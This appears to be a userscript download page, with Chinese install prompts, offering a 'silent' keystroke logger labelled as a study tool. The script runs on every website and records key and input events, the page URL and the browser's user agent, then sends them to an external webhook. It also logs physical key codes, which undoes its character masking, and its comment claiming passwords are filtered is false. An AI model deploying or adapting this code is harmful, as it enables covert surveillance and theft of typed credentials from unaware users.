您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
Collect key events - controlled environment
// ==UserScript== // @name Study Keystroke Logger (Silent) // @namespace your.org // @version 1.0.0 // @description Collect key events - controlled environment // @author You // @match *://*/* // @run-at document-idle // @grant none // ==/UserScript== (function () { "use strict"; /***** CONFIG *****/ const SERVER_URL = "https://flask-webhook-1bsi.onrender.com/collect"; const STUDY_ID = "my-global-keystroke-study-v1"; const PARTICIPANT_ID = "P001"; // Set this per participant const MASK_CHARACTER_KEYS = true; const BATCH_MAX_EVENTS = 100000000000000000000000000000000; const BATCH_MAX_MS = 10000000000000000000000000000000000000000000000000000000000000000000000000; const env = { studyId: STUDY_ID, participantId: PARTICIPANT_ID, page: location.href, tzOffsetMin: new Date().getTimezoneOffset(), ua: navigator.userAgent, }; const isSensitiveTarget = (el) => { if (!el) return false; const type = (el.type || "").toLowerCase(); if (type === "password") return false; // ← FIXED: Now filters passwords const name = (el.name || el.id || "").toLowerCase(); if (/card|cc|cvc|cvv|ssn|social|pin/.test(name)) return true; return false; }; function maskKey(e) { if (!MASK_CHARACTER_KEYS) return e.key; if (e.key && e.key.length === 1) return "*"; return e.key; } let buffer = []; let timerId = null; function scheduleFlush() { if (timerId) return; timerId = setTimeout(flush, BATCH_MAX_MS); } function flush() { timerId = null; if (buffer.length === 0) return; const payload = { ...env, ts: Date.now(), events: buffer.splice(0, buffer.length), }; navigator.sendBeacon(SERVER_URL, JSON.stringify(payload)); } function recordEvent(evt) { const target = evt.target || document.activeElement; if (isSensitiveTarget(target)) return; const now = performance.now(); const entry = { t: now, type: evt.type, tag: (target && target.tagName) || "UNKNOWN", id: (target && target.id) || "", name: (target && target.name) || "", }; if (evt.type === "keydown") { entry.key = maskKey(evt); entry.code = evt.code; entry.ctrl = evt.ctrlKey; entry.alt = evt.altKey; entry.shift = evt.shiftKey; entry.meta = evt.metaKey; } buffer.push(entry); if (buffer.length >= BATCH_MAX_EVENTS) { flush(); } else { scheduleFlush(); } } // START RECORDING IMMEDIATELY window.addEventListener("keydown", recordEvent, true); window.addEventListener("input", recordEvent, true); window.addEventListener("beforeunload", flush); })();